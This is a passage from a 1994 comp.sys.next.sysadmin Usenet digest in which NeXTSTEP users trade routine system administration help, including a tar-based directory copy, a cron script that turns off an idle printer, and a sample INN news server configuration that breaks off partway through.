> >>possible any suggestions?
> >>
> >>thanx peter
Thanks, I find I can read and format HD disks.
thanx again
peter
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: using cp
Date: 20 Apr 1994 05:09:23 GMT
Organization: University of Illinois at Urbana
Message-ID: <2p2de3$dup@vixen.cso.uiuc.edu>
References: <2p1g8u$dak@infoserv.zdv.uni-tuebingen.de>
Keywords: cp
kruppa@pcl12.wiwisem.wirtschaftswissenschaft.uni-tuebingen.de (Stephan Kruppa) writes:
>I have to copy a whole directory with several subdirectories to another
>disk. I tried "cp" with the -pr switches, because within the directory
>structure are different file owners. The result was that everything is
>preserved but the owner and the group. The only chance I see was using
>tar. Is this a bug within cp or an undocumented switch or any other trick?
CP(1) UNIX Programmer's Manual CP(1)
NAME
cp - copy
SYNOPSIS
cp [ -ip ] file1 file2
cp [ -ipr ] file ... directory
DESCRIPTION
File1 is copied onto file2. By default, the mode and owner
of file2 are preserved if it already existed; otherwise the
mode of the source file modified by the current umask(2) is
used. The -p option causes cp to attempt to preserve
(duplicate) in its copies the modification times and modes
of the source files, ignoring the present umask.
Note that it says: "mode and owner are preserved" and -p preserves
"modification times and modes", it doesn't say anything about owner
or group being preserved.
I would suggest using gnutar like this:
cd /source
gnutar cpf - * ; (cd /destination; gnutar xpf - )
Use gnutar because it handles long (>100) character pathnames.
--
David Lemson
University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: mcullen@musashi.symantec.com (Michael Cullen)
Newsgroups: comp.sys.next.sysadmin
Subject: Mosaic for the NeXT
Date: 20 Apr 1994 03:36:26 GMT
Organization: Symantec Corporation
Message-ID: <2p27vqINN4v1@grumpy.symantec.com>
Is there any client software out there? I have a mono '040 slab running
3.2.
Michael Cullen
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NFS mount fail
Date: 20 Apr 1994 05:10:40 GMT
Organization: University of Illinois at Urbana
Message-ID: <2p2dgg$eh1@vixen.cso.uiuc.edu>
References: <2p1og1$64d@news.iastate.edu>
chris@helser54.res.iastate.edu (Chris Wong) writes:
>How do I let non-NeXT machine NFS mount my home directory?
>I use NFSManager to export my home directory to be read-only, however, I
>can't NFS mount this directory when I logged to that non-NeXT machine.
I assume you are root on the non-NeXT machine when doing this mount.
Send me output of:
nidump exports .
on your NeXT and the exact mount command you're doing on the non-NeXT machine.
--
David Lemson
University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mounting a mac floppy disk
Date: 20 Apr 1994 05:03:32 GMT
Organization: University of Illinois at Urbana
Message-ID: <2p2d34$bkh@vixen.cso.uiuc.edu>
References: <2ove1k$dpn@falcon.ccs.uwo.ca> <2p1c15$bl1@news.acns.nwu.edu>
Keywords: mac
jweiss@casbah.acns.nwu.edu (Jerry Weiss) writes:
>In article <2ove1k$dpn@falcon.ccs.uwo.ca>, <Net> wrote:
>>Hi, I'm trying to read a mac disk on my NeXT (black) 3.0
>>and having no luck. I seemed to remember that this was
>>possible any suggestions?
>>
>>thanx peter
>If its an olde 720K Mac floppy, you'd need to find a Mac. They
>used to use a special variable speed drive in MAC's and current
>SCSI or PC floppies cannot deal with with this.
That's actually 800K. He means that NeXT drives can only read Mac
HD floppies.
Another common problem is if you have once installed FloppyWorks,
you must remove /usr/filesystems/macintosh.fs and leave the
/usr/filesystems/mac.fs. The macintosh.fs (you can tell by the
date) is left over from FloppyWorks and the OS gets confused by it.
--
David Lemson
University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: network printing to HP LaserJet 4si, anybody done this?
Date: 20 Apr 1994 05:05:27 GMT
Organization: University of Illinois at Urbana
Message-ID: <2p2d6n$cf7@vixen.cso.uiuc.edu>
References: <2p138c$m1h@charm.magnus.acs.ohio-state.edu> <CoIsAq.xG@xexos.com>
mark@xexos.com (Mark Chamberlain) writes:
>In article <2p138c$m1h@charm.magnus.acs.ohio-state.edu>
>shviid@magnus.acs.ohio-state.edu (Steen H Hviid) writes:
>> We have an HP LaserJet 4si MX which is hooked up to our network as a
>> printserver using it's built-in software (JetDirect, etc).
>>
>> We woulkd like to be able to print to it from a NeXT too, but can't seem
>> to get it to work. Print requests just stay in the queue.
>>
>> Anybody who has done this before?
>>
>Yes, there is a product called TCPrd, by one of the European NeXT software
>houses, the demo product is on sonata.cc.purdue.edu and cs.orst.edu and works
>just fine, we have it running at a few sites. Costs (from memory) $60.
If the JetDirect simulates a standard Berkeley lpd server, this
should interface just fine with the NeXT lpr mechanism (the remote
printer mechanism).
As I recall, our HP4siMX works like this. (haven't played with it
in a while)
--
David Lemson
University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs
Subject: PCNFSD problems (was Re: pop on 110/tcp)
Date: 20 Apr 1994 05:01:08 GMT
Organization: University of Illinois at Urbana
Message-ID: <2p2cuk$aks@vixen.cso.uiuc.edu>
References: <smh-170494034702@smh-ppc.netserv.com> <smh-170494140720@smh-ppc.netserv.com> <1994Apr18.012802.930@cyantic.com>
mark@cyantic.com (Mark T. Dornfeld) writes:
>Could this be the same type of problem that is preventing Sun's PCNFSD from
>doing authentication on NS?
>I have not been able to get PCNFSD to do authentication.
I recently had a problem, I was meaning to make out a BugNeXT on
it. I was using rpc.pcnfsd as shipped in 3.2. I have a 3-level
netinfo hierarchy and on a client, I was unable to have rpc.pcnfsd
authenticate a user that was listed in the local domain passwd map
on that local machine. I removed the user from there, put it
in the top level domain, and suddenly the rpc.pcnfsd would allow it.
Can anyone else confirm this behavior?
This is on black hardware.
--
David Lemson
University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: nppower off cron entry
Date: 20 Apr 1994 04:04:36 -0500
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <940420095427.1997AACUJ.malc@jeeves>
> Some time ago I saw a rather simple crontab entry that checked for the
print queue
> to be empty before 'nppower off'. Now that I have a reason for such a
thing, I can't
> seem to find where I saved it. Anyone have something like this.
>
Odd how these things sometimes crop up in a couple of places
simultaneously...!
Have fun,
mmalcolm.
Date: Tue, 19 Apr 94 18:31 BST
From: Axel G Merk <agm@doc.ic.ac.uk>
Subject: Power-ON-Power-OFF..?..
Reply-To: agm@doc.ic.ac.uk
To: uk-nextstep-users@mailbase.ac.uk
A while ago, I added a short script, courtesy of Bob Brown (I believe), to
turn
the NeXT 400dpi laser printer off periodically if nothing is in the queue. For
me, this has worked. BTW, the printer is turned on automatically when a new
document is printed [even without the script].
Files affected: /etc/crontab.local, /usr/local/adm/np-off, /etc/rc.local
Something like the following is added to /etc/crontab.local
0 0,4,8,12,16,20 * * * root /usr/local/adm/np-off > /dev/console 2>&1
The script np-off contains:
---- beginning of file ---
#! /bin/sh
# Explicitly set the path, since this script is run by root.
PATH=/bin:/usr/bin:/usr/ucb:/usr/etc
NP_TIME=/usr/local/adm/np-off.timestamp
NP_SPOOL=/usr/spool/NeXT/Local_Printer
# The time the printer was last turned off is recorded in the modification
# time of the NP_TIME file. If this file exists, then the printer is on
# only if there are more recent printer lock files.
if [ -r $NP_TIME ]
then
printer_on=`find $NP_SPOOL/lock -newer $NP_TIME -print`
else
# Assume printer is on when there's no timestamp file.
printer_on=yes
fi
# Do not turn the printer off when printer control files are present. Their
# existence is a good indication that a document is being printed.
printing=`find $NP_SPOOL -name 'cf*' -print`
if [ "$printer_on" -a ! "$printing" ]
then
logger -t `basename $0` -p 2 turning off printer
nppower off
touch $NP_TIME
fi
---- end of file ----
And in /etc/rc.local [this is not absolutely necessary]
# Turning Local_Printer status to on
# the real work is done by entries in /etc/crontab.local
# but this is needed to get things in sync...
if [ -f /usr/spool/NeXT/Local_Printer/power ]; then
# don't turn printer off automatically (echo -n ' nppoweroff') > /dev/console
/bin/rm -f /usr/local/adm/np-off.timestamp
fi
----- end of file -----
hope somebody has use for it.
-axel
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From: chi@kaiwan.com (Lung-Chi Chuang)
Newsgroups: comp.sys.next.sysadmin
Subject: file owner
Date: 20 Apr 1994 00:49:51 -0700
Organization: KAIWAN Internet (310/527-4279,818/756-0180,714/741-2920)
Message-ID: <2p2mqv$bte@kaiwan.kaiwan.com>
I have only two users in my NS/486 system, one is guest, the other one is
called chi. Whenever chi creates new files the owner of the file is guest
not chi.
My second question is when I issue the command talk @username@, I always got
Can't figure out network address. How do I fix this problem?
The system I'm using is a stand alone machine... it doesn't connect with
any other systems.
Thank you!
chi@kaiwan.com
Newsgroups: comp.sys.next.sysadmin
From: aboba@netcom.com (Bernard Aboba)
Subject: Re: UUCP and high speed connections: HELP!
Message-ID: <netnewsCoK245.EA4@netcom.com>
Sender: netnews@netcom.com (USENET Administration)
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
References: <1994Apr19.070612.1199@abulafia.in-berlin.de>
Date: Wed, 20 Apr 1994 11:19:17 GMT
In article <1994Apr19.070612.1199@abulafia.in-berlin.de>
volker@abulafia.in-berlin.de (Volker Safran) writes:
> Hi,
>
> In article <2ouf13$e4v@newsflash.mitre.org> wherndon@smiley.mitre.org
> (William Herndon) writes:
> > OK, I've read the online documentation. I've coordinated
> > with the ad- ministrator of the site that "feeds" my NeXTStation.
> > I've tried mul- tiple configurations, and I still can't seem
> > to get a uucp connection that transfers more than 700 to 800
> > characters/second.
My recommendation is to install Taylor UUCP. I have written an article on
this that is available for download (in HTML format) as:
file://ftp.netcom.com/pub/mailcom/internaut/taylor.html
After I installed Taylor UUCP, my transfer rate went from 700-800 cps to
over 1500 cps.
The install is also not so bad; it took me around 2 hours, total. I wish I
had done it sooner.
Newsgroups: comp.sys.next.sysadmin
From: aboba@netcom.com (Bernard Aboba)
Subject: Hints on INN install?
Message-ID: <netnewsCoK28M.ED3@netcom.com>
Keywords: INN
Sender: netnews@netcom.com (USENET Administration)
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Wed, 20 Apr 1994 11:21:58 GMT
I'm trying to install INN, but am having problems. It asks a fairly
lengthy set of questions in order to configure itself, so I am wondering
if perhaps this is part of the difficulty. Any hints appreciated.
Newsgroups: comp.sys.next.sysadmin
From: schwett@netcom.com
Subject: Oh God! Horrible "AHA Timeout" problems.
Message-ID: <schwettCoK2CJ.C92@netcom.com>
Keywords: timeout install hell
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Wed, 20 Apr 1994 11:24:19 GMT
Well the vacation in NeXTLand has come to a hellacious close.
I am in the midst of doing some hardware reconfiguration, getting a new
system, etc., and in the process I decided to check out the performance
of the Viper VLB card now that there is a driver for it...
So I grabbed my freshly formatted disk, and installed NeXTStep on i
Just a default install, nothing fancy at all. It seemed to work fine.
I got the welcome, pick a keyboard, I went in, gave root a password,
and logged out.
When I restarted, the system seemed to hang on the "checking disk" portion
of the boot... so I waited quite a long time and then altnumlocked my
way out, rebooting with the text diagnostics.
The problem is : "sd0 : I/O Timeout; Retrying.
target:0 lun:0 op:read block xxxxxxxxx ..."
and then,
"AHA timeout..."
Nothing I do has much effect. I yanked the CD-ROM drive, the magnteo
optical drive, and so on, to no avail. I checked all teh connections, and
so on, to no avail.
What confuses me is that this is ssentialy the same setup I had before;
486DX2/66, VLB, Adaptec 1542B, Fujitsu M2649ESA HD... Nothing has
changed. Since the Viper driver was to be added *after* a succesfull
install, theres just a plain vanilla type VGA board in there now.
Has anybody seen a problem like this? Sometimes it does seem to boot,
just taking an incredibly long time, timing out perhaps a hundred
times or so before getting anywhere. The system is unuseable...
I suspected a physical problem with the drive, so I formatted the other
partition and installed Windows 3.11 and such, and it all works fine, even
I/O intensive tasks using 32 bit file access....
Help! This is really Frustrating...
Thanks,
Mark Schwettmann
From: arneha@ifi.uio.no (Arne Christian Hårseth)
Newsgroups: comp.sys.next.sysadmin
Subject: Kermit
Date: 20 Apr 1994 13:17:10 +0200
Organization: Dept. of Informatics, University of Oslo, Norway
Message-ID: <2p32vm$18s@holmenkollen.ifi.uio.no>
Keywords: Kermit
Hi !
Could someone tell me were I can find a working copy of Kermit (working on
Unix-shell level) for my NS-3.2/FIP. I have tried uploading it from
arcadia.informatik.uni-muenchen.de but it doesn't run (I may have installed it
wrongly, there is no explanation so I tried "install Kermit.188.I.b
Kermit.app"). I also tried uploading it from cs.orst.edu but gunzip sayes:
"gunzip: kermit-5A-188-binary.tar.Z: corrupt input. Use zcat to recover some
data".
I need to be able to upload files through a modemconnection from my NS-3.2/FIP
WS to a PC with Kermit (the PC only has Kermit I think).
Arne (arneha@ifi.uio.no)
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Hints on INN install? (A sample config.data)
Date: 20 Apr 1994 13:13:10 +0100
Organization: me organised, that's a joke.
Message-ID: <2p368m$33k@steffi.demon.co.uk>
References: <netnewsCoK28M.ED3@netcom.com>
Keywords: INN
aboba@netcom.com wrote in comp.sys.next.sysadmin
>I'm trying to install INN, but am having problems. It asks a fairly
>lengthy set of questions in order to configure itself, so I am wondering
>if perhaps this is part of the difficulty. Any hints appreciated.
This builds INN under NS3.2 on black with no problems.
I post because it's a fairly common question.
Note: your SPOOLDIR NEWSLIB paths may vary.
## $Revision: 1.40 $
##
## InterNetNews configuration file.
## Note that if you leave a field blank, you must have the trailing tab!
##
##
## 1. MAKE CONFIG PARAMETERS
## Where the DBZ sources are, from C News. INN has a (maybe old) copy.
#### =()<DBZDIR @<DBZDIR>@>()=
DBZDIR ../dbz
## If you have a parallel make, set this to "&"
#### =()<P @<P>@>()=
P
## C pre-processor flags
#### =()<DEFS @<DEFS>@>()=
DEFS -DNeXT -I../include
## C compiler
#### =()<CC @<CC>@>()=
CC cc
## Does your compiler properly do "char const *"? Pick DO DONT or DUNNO
#### =()<USE_CHAR_CONST @<USE_CHAR_CONST>@>()=
USE_CHAR_CONST DO
## C compiler flags
#### =()<CFLAGS @<CFLAGS>@>()=
CFLAGS -pipe -fstrength-reduce $(DEFS) -g
## C compiler flags to use when compiling dbz
#### =()<DBZCFLAGS @<DBZCFLAGS>@>()=
DBZCFLAGS $(CFLAGS)
## What flags to use if profiling; -p or -pg, e.g.
#### =()<PROF @<PROF>@>()=
PROF -pg
## Flags for the "cc -o" line; e.g., -Bstatic on SunOS4.x while debugging.
#### =()<LDFLAGS @<LDFLAGS>@>()=
LDFLAGS -g
## If you use the standard NNTP way of connecting, where is the library?
#### =()<NNTPLIB @<NNTPLIB>@>()=
NNTPLIB
## If you need to link in other libraries, add them here
#### =()<LIBS @<LIBS>@>()=
LIBS
## How to make a lint library; pick BSD, SYSV, or NONE.
#### =()<LINTLIBSTYLE @<LINTLIBSTYLE>@>()=
LINTLIBSTYLE NONE
## Flags for lint. AIX wants "-wkD"; it and others don't want "-z".
#### =()<LINTFLAGS @<LINTFLAGS>@>()=
LINTFLAGS -b -h -z $(DEFS)
## Some lints insist on putting out the filename and other crap.
## Possible values:
## LINTFILTER | sed -n -f ../sedf.aix
## LINTFILTER | sed -n -f ../sedf.osx
## LINTFILTER | sed -n -f ../sedf.sun
## LINTFILTER | sed -n -f ../sedf.sysv
## LINTFILTER
#### =()<LINTFILTER @<LINTFILTER>@>()=
LINTFILTER | sed -n -f ../sedf.sun
## How to install manpages; pick SOURCE, NROFF-PACK, NROFF-PACK-SCO, or NONE.
#### =()<MANPAGESTYLE @<MANPAGESTYLE>@>()=
MANPAGESTYLE SOURCE
## Where various manpages should go
#### =()<MAN1 @<MAN1>@>()=
MAN1 /usr/local/man/man1
#### =()<MAN3 @<MAN3>@>()=
MAN3 /usr/local/man/man3
#### =()<MAN5 @<MAN5>@>()=
MAN5 /usr/local/man/man5
#### =()<MAN8 @<MAN8>@>()=
MAN8 /usr/local/man/man8
## Ranlib command. Use echo if you don't need ranlib.
#### =()<RANLIB @<RANLIB>@>()=
RANLIB ranlib
## YACC (yet another config control?)
#### =()<YACC @<YACC>@>()=
YACC yacc
## Ctags command. Use echo if you don't have ctags.
#### =()<CTAGS @<CTAGS>@>()=
CTAGS ctags -t -w
##
## 2. LOGGING LEVELS
## Facility innd should log under.
#### =()<LOG_INN_SERVER @<LOG_INN_SERVER>@>()=
LOG_INN_SERVER LOG_LOCAL6
## Facility all other programs should log under.
#### =()<LOG_INN_PROG @<LOG_INN_PROG>@>()=
LOG_INN_PROG LOG_LOCAL6
## Flags to use in opening the logs; some programs add LOG_PID.
#### =()<L_OPENLOG_FLAGS @<L_OPENLOG_FLAGS>@>()=
L_OPENLOG_FLAGS (LOG_CONS | LOG_NDELAY)
## Log a fatal error; program is about to exit.
#### =()<L_FATAL @<L_FATAL>@>()=
L_FATAL LOG_CRIT
## Log an error that might mean one or more articles get lost.
#### =()<L_ERROR @<L_ERROR>@>()=
L_ERROR LOG_ERR
## Informational notice, usually not worth caring about.
#### =()<L_NOTICE @<L_NOTICE>@>()=
L_NOTICE LOG_WARNING
## A protocol trace.
#### =()<L_TRACE @<L_TRACE>@>()=
L_TRACE LOG_DEBUG
## All incoming control commands (ctlinnd, etc).
#### =()<L_CC_CMD @<L_CC_CMD>@>()=
L_CC_CMD LOG_INFO
##
## 3. OWNERSHIPS AND FILE MODES
## Owner of articles and directories and _PATH_INNDDIR
#### =()<NEWSUSER @<NEWSUSER>@>()=
NEWSUSER news
## Group, for same purpose
#### =()<NEWSGROUP @<NEWSGROUP>@>()=
NEWSGROUP news
## Who gets email about control messages? (Usually same as NEWSUSER)
#### =()<NEWSMASTER @<NEWSMASTER>@>()=
NEWSMASTER usenet
## Who gets email on the Path line?
#### =()<PATHMASTER @<PATHMASTER>@>()=
PATHMASTER not-for-mail
## Umask to set.
#### =()<NEWSUMASK @<NEWSUMASK>@>()=
NEWSUMASK 02
## Mode that incoming articles are created under.
#### =()<ARTFILE_MODE @<ARTFILE_MODE>@>()=
ARTFILE_MODE 0664
## Mode that batch files are created under.
#### =()<BATCHFILE_MODE @<BATCHFILE_MODE>@>()=
BATCHFILE_MODE 0664
## Mode that directories are created under.
#### =()<GROUPDIR_MODE @<GROUPDIR_MODE>@>()=
GROUPDIR_MODE 0775
##
## 4. C LIBRARY DIFFERENCES
## Use stdargs, varargs, or neither? Pick VARARGS STDARGS or NONE.
## You need vfprintf and vfsprintf if not NONE.
#### =()<VAR_STYLE @<VAR_STYLE>@>()=
VAR_STYLE VARARGS
## If you don't have <string.h>, set this to "mystring.h"
#### =()<STR_HEADER @<STR_HEADER>@>()=
STR_HEADER <string.h>
## If you don't have <memory.h>, set this to "mymemory.h"
#### =()<MEM_HEADER @<MEM_HEADER>@>()=
MEM_HEADER <memory.h>
## What is a file offset? Usually long or off_t. *Must be long for now!*
#### =()<OFFSET_T @<OFFSET_T>@>()=
OFFSET_T long
## What is the type of an object size? Usually size_t or unsigned int.
#### =()<SIZE_T @<SIZE_T>@>()=
SIZE_T int
## What is the type of a passwd uid and gid, for use in chown(2)?
#### =()<UID_T @<UID_T>@>()=
UID_T int
#### =()<GID_T @<GID_T>@>()=
GID_T int
## Type of a pid, for use in kill(2).
#### =()<PID_T @<PID_T>@>()=
PID_T int
## Generic pointer, used by memcpy, malloc, etc. Usually char or void.
#### =()<POINTER @<POINTER>@>()=
POINTER char
## Worst-case alignment, in order to shut lint up
#### =()<ALIGNPTR @<ALIGNPTR>@>()=
ALIGNPTR int
## What should a signal handler return? Usually int or void.
#### =()<SIGHANDLER @<SIGHANDLER>@>()=
SIGHANDLER void
## Type of variables can be modified in a signal handler? sig_atomic_t
#### =()<SIGVAR @<SIGVAR>@>()=
SIGVAR int
## Function that returns no value, and a pointer to it. Pick int or void
#### =()<FUNCTYPE @<FUNCTYPE>@>()=
FUNCTYPE void
## Use BSD4.2 or Posix directory names? Pick DIRENT or DIRECT.
#### =()<DIR_STYLE @<DIR_STYLE>@>()=
DIR_STYLE DIRECT
## Use flock, lockf, or nothing to lock files?
## Pick FLOCK, LOCKF, FCNTL, or NONE
#### =()<LOCK_STYLE @<LOCK_STYLE>@>()=
LOCK_STYLE FLOCK
## Do you have <unistd.h>? Pick DO or DONT
#### =()<HAVE_UNISTD @<HAVE_UNISTD>@>()=
HAVE_UNISTD DONT
## Do you have setbuffer? Pick DO or DONT.
#### =()<HAVE_SETBUFFER @<HAVE_SETBUFFER>@>()=
HAVE_SETBUFFER DO
## Do you have gettimeofday? Pick DO or DONT.
#### =()<HAVE_GETTIMEOFDAY @<HAVE_GETTIMEOFDAY>@>()=
HAVE_GETTIMEOFDAY DO
## Do you have fchmod? Pick DO or DONT.
#### =()<HAVE_FCHMOD @<HAVE_FCHMOD>@>()=
HAVE_FCHMOD DO
## Do you have setsid()? Pick DO or DONT.
#### =()<HAVE_SETSID @<HAVE_SETSID>@>()=
HAVE_SETSID DONT
## Does your (struct tm) have a tm_gmtoff field? Pick DO or DONT.
#### =()<HAVE_TM_GMTOFF @<HAVE_TM_GMTOFF>@>()=
HAVE_TM_GMTOFF DO
## Does your (struct stat) have a st_blksize field? Pick DO or DONT.
#### =()<HAVE_ST_BLKSIZE @<HAVE_ST_BLKSIZE>@>()=
HAVE_ST_BLKSIZE DO
## Use waitpid instead of wait3? Pick DO or DONT.
#### =()<HAVE_WAITPID @<HAVE_WAITPID>@>()=
HAVE_WAITPID DONT
## Use "union wait" instead of int? Pick DO or DONT.
#### =()<USE_UNION_WAIT @<USE_UNION_WAIT>@>()=
USE_UNION_WAIT DO
## How to fork? Pick fork or vfork.
#### =()<FORK @<FORK>@>()=
FORK vfork
## Do you have <vfork.h>? Pick DO or DONT.
#### =()<HAVE_VFORK @<HAVE_VFORK>@>()=
HAVE_VFORK DO
## Do you have symbolic links? Pick DO or DONT.
#### =()<HAVE_SYMLINK @<HAVE_SYMLINK>@>()=
HAVE_SYMLINK DO
## Do you have Unix-domain sockets? Pick DO or DONT.
#### =()<HAVE_UNIX_DOMAIN @<HAVE_UNIX_DOMAIN>@>()=
HAVE_UNIX_DOMAIN DO
## Does your AF_UNIX bind use sizeof for the socket size? Pick DO or DONT.
#### =()<BIND_USE_SIZEOF @<BIND_USE_SIZEOF>@>()=
BIND_USE_SIZEOF DONT
## How should close-on-exec be done? Pick IOCTL or FCNTL.
#### =()<CLX_STYLE @<CLX_STYLE>@>()=
CLX_STYLE IOCTL
## How should non-blocking I/O be done? Pick IOCTL or FCNTL.
#### =()<NBIO_STYLE @<NBIO_STYLE>@>()=
NBIO_STYLE FCNTL
## How should resource-totalling be done? Pick RUSAGE or TIMES
#### =()<RES_STYLE @<RES_STYLE>@>()=
RES_STYLE RUSAGE
## How to get number of available descriptors?
## Pick GETDTAB, GETRLIMIT, SYSCONF, ULIMIT, or CONSTANT.
#### =()<FDCOUNT_STYLE @<FDCOUNT_STYLE>@>()=
FDCOUNT_STYLE GETDTAB
## If greater than -1, then use [gs]etrlimit to set that many descriptors.
## If -1, then no [gs]etrlimit calls are done.
#### =()<NOFILE_LIMIT @<NOFILE_LIMIT>@>()=
NOFILE_LIMIT -1
## Do you need <time.h> as well as <sys/time.h>? Pick DO or DONT.
#### =()<NEED_TIME @<NEED_TIME>@>()=
NEED_TIME DONT
## What predicate, if any, the <ctype.h> macros need
#### =()<CTYPE @<CTYPE>@>()=
CTYPE (isascii((c)) && isXXXXX((c)))
#CTYPE ((c) > 0 && isXXXXX((c)))
#CTYPE isXXXXX((c))
## What's the return type of abort? Usually int or void.
#### =()<ABORTVAL @<ABORTVAL>@>()=
ABORTVAL void
## What's the return type of alarm? Usually int or unsigned int.
#### =()<ALARMVAL @<ALARMVAL>@>()=
ALARMVAL int
## What's the return type of getpid? Usually int or unsigned int.
#### =()<GETPIDVAL @<GETPIDVAL>@>()=
GETPIDVAL int
## What's the return type of sleep? Usually int or unsigned int.
#### =()<SLEEPVAL @<SLEEPVAL>@>()=
SLEEPVAL int
## What's the return type of qsort? Usually int or void.
#### =()<QSORTVAL @<QSORTVAL>@>()=
QSORTVAL int
## What's the return type of lseek? Usually long or off_t.
#### =()<LSEEKVAL @<LSEEKVAL>@>()=
LSEEKVAL long
## What's the return type of free? Usually int or void.
#### =()<FREEVAL @<FREEVAL>@>()=
FREEVAL int
## What's the return type of exit? Usually int or void.
## (For gcc (not pedantic ANSI) use "volatile void" in EXITVAL and _EXITVAL.)
#### =()<EXITVAL @<EXITVAL>@>()=
EXITVAL volatile void
## What's the return type of _exit? Usually int or void.
#### =()<_EXITVAL @<_EXITVAL>@>()=
_EXITVAL volatile void
##
## 5. C LIBRARY OMISSIONS
## Possible values:
## MISSING_MAN strcasecmp.3 syslog.3
## MISSING_SRC strcasecmp.c syslog.c strerror.c getdtab.c
## MISSING_OBJ strcasecmp.o syslog.o strerror.o getdtab.c
## getdtab has a getdtablesize() routine if you need it; see the lib
## directory and Install.ms for others.
## OSx systems should add $(OSXATTOBJ) to MISSING_OBJ.
#### =()<MISSING_MAN @<MISSING_MAN>@>()=
MISSING_MAN
#### =()<MISSING_SRC @<MISSING_SRC>@>()=
MISSING_SRC mkfifo.c
#### =()<MISSING_OBJ @<MISSING_OBJ>@>()=
MISSING_OBJ mkfifo.o
##
## 6. MISCELLANEOUS CONFIG DATA
## Use read/write to update the active file, or mmap? Pick READ or MMAP.
#### =()<ACT_STYLE @<ACT_STYLE>@>()=
ACT_STYLE READ
## Do clients use our NNTP-server-open routine, or the one in NNTP?
## INND is nicer, but you must install inn.conf files everywhere; NNTP
## is better if you already have lots of /usr/lib/news/server files.
## Pick INND or NNTP.
#### =()<REM_STYLE @<REM_STYLE>@>()=
REM_STYLE INND
## Should rnews save articles that the server rejects? Pick DO or DONT.
#### =()<RNEWS_SAVE_BAD @<RNEWS_SAVE_BAD>@>()=
RNEWS_SAVE_BAD DONT
## Should rnews log articles innd already has? Pick SYSLOG, FILE, OR DONT.
#### =()<RNEWS_LOG_DUPS @<RNEWS_LOG_DUPS>@>()=
RNEWS_LOG_DUPS DONT
## Look in _PATH_RNEWSPROGS for rnews unpackers? Pick DO or DONT.
#### =()<RNEWSPROGS @<RNEWSPROGS>@>()=
RNEWSPROGS DO
## Should rnews try the local host? Pick DO or DONT.
#### =()<RNEWSLOCALCONNECT @<RNEWSLOCALCONNECT>@>()=
RNEWSLOCALCONNECT DO
## Environment variable that has remote hostname for rnews.
#### =()<_ENV_UUCPHOST @<_ENV_UUCPHOST>@>()=
_ENV_UUCPHOST UU_MACHINE
## Require posts to have under 50% inclusion (">") lines? Pick DO OR DONT.
## (This is only for inews and nnrpd.)
#### =()<CHECK_INCLUDED_TEXT @<CHECK_INCLUDED_TEXT>@>()=
CHECK_INCLUDED_TEXT DONT
## Put hosts in the inews Path header? Pick DO or DONT.
#### =()<INEWS_PATH @<INEWS_PATH>@>()=
INEWS_PATH DO
## Munge the gecos field of password entry? Pick DO or DONT.
#### =()<MUNGE_GECOS @<MUNGE_GECOS>@>()=
MUNGE_GECOS DO
## How many times to try to fork before giving up
#### =()<MAX_FORKS @<MAX_FORKS>@>()=
MAX_FORKS 10
## Largest acceptable article size; 0 allows any size
#### =()<MAX_ART_SIZE @<MAX_ART_SIZE>@>()=
MAX_ART_SIZE 1000000
## Value of dbzincore(FLAG) call in innd. Pick 1 or 0.
#### =()<INND_DBZINCORE @<INND_DBZINCORE>@>()=
INND_DBZINCORE 1
## Should sub-processes get a nice(2) value? Pick DO or DONT.
#### =()<INND_NICE_KIDS @<INND_NICE_KIDS>@>()=
INND_NICE_KIDS DONT
## Value for nice(2) call in innd.
#### =()<INND_NICE_VALUE @<INND_NICE_VALUE>@>()=
INND_NICE_VALUE 10
## Null-terminated list of unknown commands to not log to syslog.
## INND_QUIET_BADLIST "xstream", "xfoo", NULL
#### =()<INND_QUIET_BADLIST @<INND_QUIET_BADLIST>@>()=
INND_QUIET_BADLIST NULL
## Null-terminated set of illegal distribution patterns for local postings.
#### =()<BAD_DISTRIBS @<BAD_DISTRIBS>@>()=
BAD_DISTRIBS "*.*",NULL
## Verify that the poster is the person doing the cancel? Pick DO or DONT.
#### =()<VERIFY_CANCELS @<VERIFY_CANCELS>@>()=
VERIFY_CANCELS DONT
## Log "ctlinnd cancel" commands to syslog? Pick DO or DONT.
#### =()<LOG_CANCEL_COMMANDS @<LOG_CANCEL_COMMANDS>@>()=
LOG_CANCEL_COMMANDS DONT
## File unknown "to.*" groups into the "to" newsgroup? Pick DO or DONT.
#### =()<MERGE_TO_GROUPS @<MERGE_TO_GROUPS>@>()=
MERGE_TO_GROUPS DONT
## File articles in unknown newsgroups into junk? Pick DO or DONT.
#### =()<WANT_TRASH @<WANT_TRASH>@>()=
WANT_TRASH DONT
## Record rejected articles in history? Pick DO or DONT.
#### =()<REMEMBER_TRASH @<REMEMBER_TRASH>@>()=
REMEMBER_TRASH DONT
## Check the linecount against the Lines header? Pick DO or DONT.
